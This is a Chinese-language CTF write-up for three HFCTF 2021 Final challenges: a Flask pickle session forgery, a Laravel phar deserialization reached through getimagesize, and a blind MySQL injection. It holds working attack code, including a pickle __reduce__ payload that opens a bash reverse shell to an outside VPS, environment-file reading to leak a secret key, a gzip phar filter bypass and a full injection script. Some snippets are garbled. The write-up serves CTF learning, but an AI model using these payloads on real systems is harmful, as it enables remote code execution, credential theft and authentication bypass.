[HFCTF 2021 Final] | BUU
[HFCTF 2021 Final] | BUU复现
easyflask
直接给出源码:
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
可见这是一个Flasksession伪造的题目, 只要我们知道了SECRET_KEY就可以任意伪造秘钥让session等于{'u':{'b':'pickle.loads数据'}}
当前程序的环境变量可以从/proc/self/enciron获取, 修改file参数发现并没有对这个文件输出做限制, 直接得到SECRET_KEY
但是遇到一个问题, 不同版本的python获取到的base64编码数据并不相同
在本地测试了curl http://ip:port
是可以成功执行的, 但是在windows下不管是python2.7, 6~7的flask网站得到的session复制放到题目环境都会返回uhh
(session解码得到的内容带入后面的代码操作发生错误)
其实原因是windows和linux使用pickie.loads()反序列化的内部过程不太一样, 所以也就导致了在windows下可以通过loads()执行的内容放到linux下使用loads()加载就会失败, 但是问题不大,只要我们吧代码放到linux下跑就行
想要得到对应python版本(实际上不一定要和题目一样是3.6, 只要是python3的就行)的session只要再加一个路由即可
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'"",))
})
@app.route('/get_session', methods=('GET',))
def get_session():
print(base64.b64encode(pickle.dumps(User())).decode())
session['u']={'b':base64.b64encode(pickle.dumps(User())).decode()}
return ""
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
# print(base64.b64encode(pickle.dumps(User())).decode())
# session['u']={'b':base64.b64encode(pickle.dumps(User())).decode()}
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
访问/get_session即可从响应包中的set_cookie参数里面看到session
nc -v http://flaskip:flaskport/get_session #从Response-Header获得session
想要验证一下能否执行的话执行一下nc -b 'session=...' http://flaskip:flaskport/admin
同时vps打开监听端口即可
修改session发包请求即可在监听端口获得shell,直接cat /flag
即可
tinypng
直接获得源码
源码中可以看到配置对/image进行了限制, 不过没想到在BUU的环境里直接访问/image也是可以出内容的
此外还有一整个html
文件夹
我们可以注解看到这是一个Laravel
项目, routes代理文件夹有一个web.php文件
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
直接EGT访问就是一个文件上传目录
上传文件变为POST请求, 项目会将请求交给控制器函数IndexController.fileUpload()
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
echo $fileName;
$path = $req->file('file')->storePub将文件liclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
控制器工作流程:
- 判断文件后缀是不是.png
- 判断文件内容是否存在
?|php|HALT\_COMPILER
( 防止直接使用phar文件反序列化 ) - 生成一个不可控文件名md5(time()).png
- 将文件保存到xxx.png中
- 返回文件路径 uploads/xxx.png
需要注意的一点是:这里的uploads目录并不是和index.php在同一个目录一下的文件夹, 而是../storage/app/uploads
所以我们上传的文件保存路径实际上为../storage/app/uploads/xxx.png
GET请求/image会将请求交给控制器函数ImageController.handle()
处理
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
控制器工作流程:
-
获取请求的image参数交给$source
-
检测image参数是否以.png结尾
-
生成一个新的绝对路径/var/www/html/md5(time()).png
-
生成一个图片压缩的类imgcompress()
class imgcompress{
/**
* 图片压缩
* @param $src 源图
* @param float $percent 压缩比例
*/
public function __construct($src, $percent = 1)
{
$this->src = $src;
$this->percent = $percent;
}
/** 高清压缩图片
* @param string $saveName 提供图片名(可不带扩展名,用源图扩展名)用于保存。或不提供文件名直接显示
*/
public function compressImg($saveName)
{
$this->_openImage(); //打开图片
$this->_saveImage($saveName); //保存压缩处理后的图片
}
利用点: getimagesize()函数
/**
* 内部:打开图片
*/
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
有趣的是imgcompress._openImage()
获取图片大小使用的是getimagesize($this->src)
$this->src可控
我们搜索php文档可以看到php4.0.5以后是可以使用url加载图片的
这时候可以想到一个问题 :
既然可以加载url链接, 那么是否可以加载phar://
协议执行反序列化呢, 这是结合上面过滤phar文件标志连想到的
我们写一个测试发现getimagesize($url)确实可以加载phar://协议并反序列化
"require": {
"php": "^7.3|^8.0",
"fideloper/proxy": "^4.4",
"fruitcake/laravel-cors": "^2.0",
"guzzlehttp/guzzle": "^7.0.1",
"laravel/framework": "^8.12",
"laravel/tinker": "^2.5"
}
所以我么这时候就有一个基本思路了:
- 生成一个phar文件, 里面加入了
Laravel
框架对应版本的POC链 - 将phar文件改为xxx.png后上传
但是我们需要注意的一点是, 在处理上传文件的控制器函数IndexController.fileUpload()
过滤了?|php|HALT\_COMPILER
但是<?php __HALT_COMPILER(); ?>
是phar文件不可缺少的标志
我们可绕过的方法有:
- 使用gzip等压缩
<?php
class test {
public $name;
function __wakeup() {
echo $this->name."\n";
}
}
function makefile(){
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// $phar = $phar->convertToExecutable(Phar::ZIP);
// $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);
$o = new test();
$o->name = "success!!!\n";
$phar->setMetadata($o);
$phar->addFromString("data.txt", "test");
$phar->stopBuffering();
}
//@makefile();
getimagesize("phar://1.phar.tar.gz");
hatenum
进入题目得到源码, 只有两个功能, 一个登录功能login.php和一个注册功能register.php
如果我们注册admin用户抓包的话可以看到会返回用户已存在, 但是其他用户可以正常注册, 并且登录上去会返回login success
所以这就是一个单纯的mysql注入题, 要获得admin的密码(实际上不用)和二级验证码
看源码的登录和注册函数:
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
- 注册功能 : 先有个find函数检查数据库是否已存在用户名, 如果不存在那么就执行
insert into users (username,password,code) values ('$username','$password','$code')
新增一个用户 - 登录功能 :
select * from users where username='$username' and password='$password'
检测用户账号密码并得到用户的二级验证码, 然后再和传入的code参数比对
怎么逃逸出来执行命令?
我们可以通过\
注释单引号结合#
注释掉最后一个单引号让一部分语句逃逸出来
执行登录执行语句: select * from users where username='$username' and password='$password'
username=\ password=||if(....)#
此时语句为 select * from users where username=’\’ and password=’||if(....)#’;
\’ and password=是一个整体
此时语句为 select * from users where username=’xxx’||()&&()&&()#’;
后面就是我们任意执行的部分
所以我们就可以通过判断条件返回结果查询信息了
可以看到select * from users where username=’xxx’||()&&()&&()#’;当执行语句为这个的时候
其他的注释: \**\
--+
\!**\
但很可惜因为过滤了'
如果使用以上的方法过滤的话中间两个单引号的话那么整个语句都在一堆双引号之中, 完全执行不了命令
根据上面可知, 如果我们想要获得admin的code的话只能在逃逸出来的条件里面逐个判断, 同时因为不管后面是什么没有我们都过不了admin的code验证, 只会返回fail
, 所以我们可以让它出错, 这样子就不会返回内容了而是返回error
这里就有了两个判断区别, 我们可以选用exp(710-(判断))
或者~0+(判断)
作为输出结果,因为exp(710)
和~0+1
都超出了最大证书范围导致报错而不返回error
除此之外因为过滤了select我们也不能另外执行查询语句了
过滤了sleep|benchmark
无法使用时间盲注
过滤了substr|right|left|mid
不能获取单个字符
要命的是过滤了,
导致我们不能执行多参数的函数
过滤了空格我们可以用chr(0x0b)或chr(0x0c)代替
我们可以使用正则匹配比较字符串, 虽然环境过滤了regexp
但是我们可以使用like
和rlike
正则匹配
有一点值得注意: like是_
匹配单个任意字符,%
匹配任意数量的字符; rlike的用法和regexp基本一致
因为同时过滤了单双引号,所以我们要匹配的字符串可以用AsciiHex的形式代替(admin为0x61646d696e)
注入脚本:
import requests
import string
url = "http://40004396-7df7-41d5-970d-85741f792101.node4.buuoj.cn:81/"
all_chr = string.ascii_letters + string.digits + "$"
# /union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i
# select * from users where username='$username' and password='$password'
def gethex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2, '0')
return ret
end = ""
a="^"# 匹配前面部分
#a="$"# 匹配后面部分
for i in range(24):
for ch in all_chr:
# .replace(' ', chr(0x0b))或.replace(' ', chr(0x0c))都行
# 匹配前面部分
payload = f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(a + ch)}))#".replace(' ', chr(0x0b))
# 匹配后面部分
# payload = f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(ch + a)}))#".replace(' ', chr(0x0b))
data = {"username": "\\", "password": payload, "code": ""}
req = requests.post(url + "/login.php", data=data, allow_redirects=False)
if 'fail' in req.text:
end += ch
print(a+ch, end)
if len(a) == 3:
a = a[1:] + ch
else:
a += ch
break
data = {
"username": "\\",
"password": "||1#",
"code": "erghruigh2uygh23uiu32ig"
}
req = requests.post(url + "/login.php", data=data)
print(req.text)
其实不是很明白为什么只能匹配到一部分内容, 之前我自己写脚本从头开始匹配,结果只得到了erghruigh2uygh2
后面就一直重复得到uygh2
部分, 所以我就直接提交code了但是并不能得到flag, 最后到网上找了一下看到有个脚本是还执行了一次从尾到头匹配, 所以也就执行了一下发现确实使用$从尾开始匹配确实可以得到后半部分的code(原因求解, 就先不深究了)
任务完成也不早了,睡觉